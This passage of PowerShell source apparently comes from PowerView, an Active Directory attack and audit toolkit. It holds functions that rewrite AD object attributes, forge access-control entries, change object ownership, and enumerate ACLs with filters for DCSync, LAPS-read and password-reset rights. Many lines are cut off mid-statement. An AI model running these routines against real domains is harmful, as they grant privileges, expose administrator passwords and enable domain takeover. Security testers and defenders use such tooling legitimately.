$Obfuscate,
[String]
$Certificate,
[String]
$CertPassword
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['SSL'] -or $PSBoundParameters['Certificate']) {
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Certificate']) { $SearcherArguments['Certificate'] = $Certificate }
if ($PSBoundParameters['CertPassword']) { $SearcherArguments['CertPassword'] = $CertPassw
$ObjectArguments = $SearcherArguments.Clone()
if ($PSBoundParameters['Identity']) { $ObjectArguments['Identity'] = $Identity }
if ($PSBoundParameters['Obfuscate']) { $ObjectArguments['Obfuscate'] = $Obfuscate }
$ObjectArguments['Raw'] = $True
$Results = Get-DomainObject @ObjectArguments
$Searcher = Get-DomainSearcher @SearcherArguments
foreach ($Result in $Results) {
$ObjectDN = $Result.DistinguishedName
Write-Verbose "[Set-DomainObject] Using object DN: $($ObjectDN)"
if($PSBoundParameters['Set']) {
$Operation = [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace
try {
$PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {
Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$(
$ModifyRequest = New-Object System.DirectoryServices.Protocols.ModifyRequest @
[void]$Searcher.SendRequest($ModifyRequest)
}
}
catch {
Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($Obje
}
}
}
try {
$Searcher.Dispose()
}
catch {
Write-Verbose "[Set-DomainObject] Error disposing of the connection object: $_"
}
}
else {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
if ($PSBoundParameters['Obfuscate']) { $SearcherArguments['Obfuscate'] = $Obfuscate }
$SearcherArguments['Raw'] = $True
# splat the appropriate arguments to Get-DomainObject
$RawObject = Get-DomainObject @SearcherArguments
ForEach ($Object in $RawObject) {
$Entry = $RawObject.GetDirectoryEntry()
if($PSBoundParameters['Set']) {
try {
$PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {
Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$(
$Entry.put($_.Name, $_.Value)
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($Raw
}
}
if($PSBoundParameters['XOR']) {
try {
$PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {
$PropertyName = $_.Name
$PropertyXorValue = $_.Value
Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue
$TypeName = $Entry.$PropertyName[0].GetType().name
# UAC value references- https://support.microsoft.com/en-us/kb/305144
$PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
$Entry.$PropertyName = $PropertyValue -as $TypeName
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.P
}
}
if($PSBoundParameters['Clear']) {
try {
$PSBoundParameters['Clear'] | ForEach-Object {
$PropertyName = $_
Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObje
$Entry.$PropertyName.clear()
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.P
}
}
}
}
}
}
function ConvertFrom-LDAPLogonHours {
<#
.SYNOPSIS
Converts the LDAP LogonHours array to a processible object.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts the LDAP LogonHours array to a processible object. Each entry
property in the output object corresponds to a day of the week and hour during
the day (in UTC) indicating whether or not the user can logon at the specified
hour.
.PARAMETER LogonHoursArray
21-byte LDAP hours array.
.EXAMPLE
$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours
ConvertFrom-LDAPLogonHours $hours
Gets the logonhours array from the first AD user with logon restrictions.
.OUTPUTS
PowerView.LogonHours
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments',
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonHours')]
[CmdletBinding()]
Param (
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[byte[]]
$LogonHoursArray
)
Begin {
if($LogonHoursArray.Count -ne 21) {
throw "LogonHoursArray is the incorrect length"
}
function ConvertTo-LogonHoursArray {
Param (
[int[]]
$HoursArr
)
$LogonHours = New-Object bool[] 24
for($i=0; $i -lt 3; $i++) {
$Byte = $HoursArr[$i]
$Offset = $i * 8
$Str = [Convert]::ToString($Byte,2).PadLeft(8,'0')
$LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7])
$LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6])
$LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5])
$LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4])
$LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3])
$LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2])
$LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1])
$LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0])
}
$LogonHours
}
}
Process {
$Output = @{
Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2]
Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5]
Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8]
Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11]
Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14]
Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17]
Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20]
}
$Output = New-Object PSObject -Property $Output
$Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours')
$Output
}
}
function New-ADObjectAccessControlEntry {
<#
.SYNOPSIS
Creates a new Active Directory object-specific access control entry.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Creates a new object-specific access control entry (ACE). The ACE could be
used for auditing access to an object or controlling access to objects.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER PrincipalSearchBase
The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Right
Specifies the rights set on the Active Directory object.
.PARAMETER AccessControlType
Specifies the type of ACE (allow or deny)
.PARAMETER AuditFlag
For audit ACEs, specifies when to create an audit log (on success or failure)
.PARAMETER ObjectType
Specifies the GUID of the object that the ACE applies to.
.PARAMETER InheritanceType
Specifies how the ACE applies to the object and/or its children.
.PARAMETER InheritedObjectType
Specifies the type of object that can inherit the ACE.
.EXAMPLE
$Guids = Get-DomainGUIDMap
$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandPro
$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty n
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,Re
$OU = Get-DomainOU -Raw Workstations
$DsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()
Adds an ACE to all computer objects in the OU "Workstations" permitting the
user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property.
.OUTPUTS
System.Security.AccessControl.AuthorizationRule
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunc
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Security.AccessControl.AuthorizationRule')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $True)]
[ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRig
$Right,
[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
[ValidateSet('Allow', 'Deny')]
[String[]]
$AccessControlType,
[Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')]
[ValidateSet('Success', 'Failure')]
[String]
$AuditFlag,
[Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')]
[Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')]
[Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')]
[Guid]
$ObjectType,
[ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')]
[String]
$InheritanceType,
[Guid]
$InheritedObjectType
)
Begin {
if ($PrincipalIdentity -notmatch '^S-1-.*') {
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $Princ
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $Se
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] =
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit']
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombs
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credentia
$Principal = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principal) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
elseif($Principal.Count -gt 1) {
throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"
}
$ObjectSid = $Principal.objectsid
}
else {
$ObjectSid = $PrincipalIdentity
}
$ADRight = 0
foreach($r in $Right) {
$ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__)
}
$ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdent
}
Process {
if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') {
if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $AD
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectT
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $AD
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectT
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $AD
} elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectT
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $AD
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectT
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $AD
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectT
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $AD
}
}
else {
if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $A
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectT
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $A
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectT
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $A
} elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectT
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $A
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectT
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $A
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectT
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $A
}
}
}
}
function Set-DomainObjectOwner {
<#
.SYNOPSIS
Modifies the owner for a specified active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Retrieves the Active Directory object specified by -Identity by splatting to
Get-DomainObject, returning the raw searchresult object. Retrieves the raw
directoryentry for the object, and sets the object owner to -OwnerIdentity.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
of the AD object to set the owner for.
.PARAMETER OwnerIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
of the owner to set for -Identity.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
Set the owner of 'dfm' in the current domain to 'harmj0y'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred
Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunc
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPr
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$Identity,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Owner')]
[String]
$OwnerIdentity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objec
if ($OwnerSid) {
$OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid
}
else {
Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'"
}
}
PROCESS {
if ($OwnerIdentityReference) {
$SearcherArguments['Raw'] = $True
$SearcherArguments['Identity'] = $Identity
# splat the appropriate arguments to Get-DomainObject
$RawObject = Get-DomainObject @SearcherArguments
ForEach ($Object in $RawObject) {
try {
Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$O
$Entry = $RawObject.GetDirectoryEntry()
$Entry.PsBase.Options.SecurityMasks = 'Owner'
$Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference)
$Entry.PsBase.CommitChanges()
}
catch {
Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_"
}
}
}
}
}
function Get-DomainObjectAcl {
<#
.SYNOPSIS
Returns the ACLs associated with a specific active directory object. By default
the DACL for the object(s) is returned, but the SACL can be returned with -Sacl.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
Wildcards accepted.
.PARAMETER Sacl
Switch. Return the SACL instead of the DACL for the object (default behavior).
.PARAMETER Owner
Switch. Return the Owner instead of the DACL for the object (default behavior).
.PARAMETER ResolveGUIDs
Switch. Resolve GUIDs to their display names.
.PARAMETER RightsFilter
A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers').
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER Obfuscate
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
.EXAMPLE
Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs
Get the ACLs for the matt.admin user in the testlab.local domain and
resolve relevant GUIDs to their display names.
.EXAMPLE
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs
Enumerate the ACL permissions for all OUs in the domain.
.EXAMPLE
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl
Enumerate the SACLs for all OUs in the domain, resolving GUIDs.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs
.OUTPUTS
PowerView.ACL
Custom PSObject with ACL entries.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Switch]
$Sacl,
[Switch]
$Owner,
[Switch]
$ResolveGUIDs,
[String]
[Alias('Rights')]
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended', 'ReadLAPS')]
$RightsFilter,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$SSL,
[Switch]
$Obfuscate
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
}
if ($PSBoundParameters['Sacl']) {
$SearcherArguments['SecurityMasks'] = 'Sacl'
}
elseif ($PSBoundParameters['Owner']) {
$SearcherArguments['SecurityMasks'] = 'Owner'
}
else {
$SearcherArguments['SecurityMasks'] = 'Dacl'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
$Searcher = Get-DomainSearcher @SearcherArguments
$DomainGUIDMapArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server }
if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $
if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $
if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $DomainGUIDMapArguments['SSL'] = $SSL }
# get a GUID -> name mapping
if ($PSBoundParameters['ResolveGUIDs']) {
$GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments
}
}
PROCESS {
if ($Searcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase']))
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replac
Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$Identi
$SearcherArguments['Domain'] = $IdentityDomain
$Searcher = Get-DomainSearcher @SearcherArguments
if (-not $Searcher) {
Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$Ident
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToS
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnsho
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displa
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
if ($Filter) {
$Filter = "(&$Filter)"
}
Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Filter)"
#$Results = $Searcher.FindAll()
if ($Filter -and $Filter -ne '') {
$SearcherArguments['LDAPFilter'] = "$Filter"
}
$Results = Invoke-LDAPQuery @SearcherArguments
$Results | Where-Object {$_} | ForEach-Object {
if (Get-Member -InputObject $_ -name "Attributes" -Membertype Properties) {
$Object = @{}
foreach ($a in $_.Attributes.Keys | Sort-Object) {
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercert
$Object[$a] = $_.Attributes[$a]
}
else {
$Values = @()
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
$Values += [System.Text.Encoding]::UTF8.GetString($v)
}
$Object[$a] = $Values
}
}
}
else {
$Object = $_.Properties
}
if ($Object.objectsid -and $Object.objectsid[0]) {
$ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0]
}
else {
$ObjectSid = $Null
}
try {
$SecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -Argume
if ($PSBoundParameters['Owner']) {
$SecurityDescriptor.Owner.Value
}
else {
$SecurityDescriptor | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl}
$Continue = $False
$_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
$_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
$_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.Dir
if ($PSBoundParameters['RightsFilter']) {
$GuidFilter = Switch ($RightsFilter) {
'ResetPassword' { @('00299570-246d-11d0-a768-00aa006e0529') }
'WriteMembers' { @('bf9679c0-0de6-11d0-a285-00aa003049e2') }
'DCSync' { @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f7
'AllExtended' { 'ExtendedRight' }
'ReadLAPS' { @('ExtendedRight', 'GenericAll', 'WriteDacl') }
'All' { 'GenericAll' }
Default { '00000000-0000-0000-0000-000000000000' }
}
if ($_.AceQualifier -eq 'AccessAllowed' -and (($_.ObjectAceType -and $GuidFilter -
$Continue = $True
}
